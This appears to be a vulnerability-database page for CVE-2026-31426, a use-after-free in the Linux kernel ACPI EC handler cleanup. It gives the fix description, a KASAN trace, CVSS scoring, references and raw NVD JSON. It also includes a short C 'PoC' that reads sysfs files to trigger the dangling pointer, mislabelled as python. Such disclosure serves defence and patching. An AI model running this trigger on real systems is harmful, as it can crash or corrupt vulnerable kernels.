CVE-2026-31426

Description

In the Linux kernel, the following vulnerability has been resolved: ACPI: EC: clean up handlers on probe failure in acpi_ec_setup() When ec_install_handlers() returns -EPROBE_DEFER on reduced-hardware platforms, it has already started the EC and installed the address space handler with the struct acpi_ec pointer as handler context. However, acpi_ec_setup() propagates the error without any cleanup. The caller acpi_ec_add() then frees the struct acpi_ec for non-boot instances, leaving a dangling handler context in ACPICA. Any subsequent AML evaluation that accesses an EC OpRegion field dispatches into acpi_ec_space_handler() with the freed pointer, causing a use-after-free: BUG: KASAN: slab-use-after-free in mutex_lock (kernel/locking/mutex.c:289) Write of size 8 at addr ffff88800721de38 by task init/1 Call Trace: <TASK> mutex_lock (kernel/locking/mutex.c:289) acpi_ec_space_handler (drivers/acpi/ec.c:1362) acpi_ev_address_space_dispatch (drivers/acpi/acpica/evregion.c:293) acpi_ex_access_region (drivers/acpi/acpica/exfldio.c:246) acpi_ex_field_datum_io (drivers/acpi/acpica/exfldio.c:509) acpi_ex_extract_from_field (drivers/acpi/acpica/exfldio.c:700) acpi_ex_read_data_from_field (drivers/acpi/acpica/exfield.c:327) acpi_ex_resolve_node_to_value (drivers/acpi/acpica/exresolv.c:392) </TASK> Allocated by task 1: acpi_ec_alloc (drivers/acpi/ec.c:1424) acpi_ec_add (drivers/acpi/ec.c:1692) Freed by task 1: kfree (mm/slub.c:6876) acpi_ec_add (drivers/acpi/ec.c:1751) The bug triggers on reduced-hardware EC platforms (ec->gpe < 0) when the GPIO IRQ provider defers probing. Once the stale handler exists, any unprivileged sysfs read that causes AML to touch an EC OpRegion (battery, thermal, backlight) exercises the dangling pointer. Fix this by calling ec_remove_handlers() in the error path of acpi_ec_setup() before clearing first_ec. ec_remove_handlers() checks each EC_FLAGS_* bit before acting, so it is safe to call regardless of how far ec_install_handlers() progressed: -ENODEV (handler not installed): only calls acpi_ec_stop() -EPROBE_DEFER (handler installed): removes handler, stops EC

CVSS Details

CVSS Score

7.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux内核 (修复前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31426: Linux Kernel ACPI EC Use-After-Free
 * Trigger: Read sysfs entries that cause AML evaluation touching EC OpRegion.
 * Context: Requires a vulnerable kernel state (reduced-hardware platform with deferred GPIO IRQ).
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

void trigger_acpi_ec_uaf() {
    const char* sysfs_paths[] = {
        "/sys/class/power_supply/BAT0/status",
        "/sys/class/thermal/thermal_zone0/temp",
        "/sys/class/backlight/acpi_video0/brightness",
        NULL
    };

    for (int i = 0; sysfs_paths[i] != NULL; i++) {
        int fd = open(sysfs_paths[i], O_RDONLY);
        if (fd >= 0) {
            char buf[32];
            // Reading these files triggers AML execution that accesses EC OpRegion
            if (read(fd, buf, sizeof(buf)) < 0) {
                perror("Read failed");
            }
            close(fd);
        }
    }
}

int main() {
    printf("[+] Attempting to trigger CVE-2026-31426...\n");
    trigger_acpi_ec_uaf();
    printf("[+] Trigger completed. Check kernel logs for KASAN reports.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31426
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31426
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31426/
[4] VulDB https://vuldb.com/cve/CVE-2026-31426
[5] https://git.kernel.org/stable/c/022d1727f33ff90b3e1775125264e3023901952e
[6] https://git.kernel.org/stable/c/808c0f156f48d5b8ca34088cbbfba8444e606cbc
[7] https://git.kernel.org/stable/c/9c886e63b69658959633937e3acb7ca8addf7499
[8] https://git.kernel.org/stable/c/be1a827e15991e874e0d5222d0ea5fdad01960fe
[9] https://git.kernel.org/stable/c/d04c007047c88158141d9bd5eac761cdadd3782c
[10] https://git.kernel.org/stable/c/f6484cadbcaf26b5844b51bd7307a663dda48ef6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31426", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:12.600", "lastModified": "2026-05-20T17:55:22.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: EC: clean up handlers on probe failure in acpi_ec_setup()\n\nWhen ec_install_handlers() returns -EPROBE_DEFER on reduced-hardware\nplatforms, it has already started the EC and installed the address\nspace handler with the struct acpi_ec pointer as handler context.\nHowever, acpi_ec_setup() propagates the error without any cleanup.\n\nThe caller acpi_ec_add() then frees the struct acpi_ec for non-boot\ninstances, leaving a dangling handler context in ACPICA.\n\nAny subsequent AML evaluation that accesses an EC OpRegion field\ndispatches into acpi_ec_space_handler() with the freed pointer,\ncausing a use-after-free:\n\n BUG: KASAN: slab-use-after-free in mutex_lock (kernel/locking/mutex.c:289)\n Write of size 8 at addr ffff88800721de38 by task init/1\n Call Trace:\n <TASK>\n mutex_lock (kernel/locking/mutex.c:289)\n acpi_ec_space_handler (drivers/acpi/ec.c:1362)\n acpi_ev_address_space_dispatch (drivers/acpi/acpica/evregion.c:293)\n acpi_ex_access_region (drivers/acpi/acpica/exfldio.c:246)\n acpi_ex_field_datum_io (drivers/acpi/acpica/exfldio.c:509)\n acpi_ex_extract_from_field (drivers/acpi/acpica/exfldio.c:700)\n acpi_ex_read_data_from_field (drivers/acpi/acpica/exfield.c:327)\n acpi_ex_resolve_node_to_value (drivers/acpi/acpica/exresolv.c:392)\n </TASK>\n\n Allocated by task 1:\n acpi_ec_alloc (drivers/acpi/ec.c:1424)\n acpi_ec_add (drivers/acpi/ec.c:1692)\n\n Freed by task 1:\n kfree (mm/slub.c:6876)\n acpi_ec_add (drivers/acpi/ec.c:1751)\n\nThe bug triggers on reduced-hardware EC platforms (ec->gpe < 0)\nwhen the GPIO IRQ provider defers probing. Once the stale handler\nexists, any unprivileged sysfs read that causes AML to touch an\nEC OpRegion (battery, thermal, backlight) exercises the dangling\npointer.\n\nFix this by calling ec_remove_handlers() in the error path of\nacpi_ec_setup() before clearing first_ec. ec_remove_handlers()\nchecks each EC_FLAGS_* bit before acting, so it is safe to call\nregardless of how far ec_install_handlers() progressed:\n\n -ENODEV (handler not installed): only calls acpi_ec_stop()\n -EPROBE_DEFER (handler installed): removes handler, stops EC"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.7", "versionEndExcluding": "6.1.168", "matchCriteriaId": "0910DB26-69F0-4F59-B2B3-DC2B0824D0F6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.7:-:*:*:*:*:*:*", "matchCriteriaId": "3D23CE42-BDB2-4216-8495-230ABE98FCDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_ker ... 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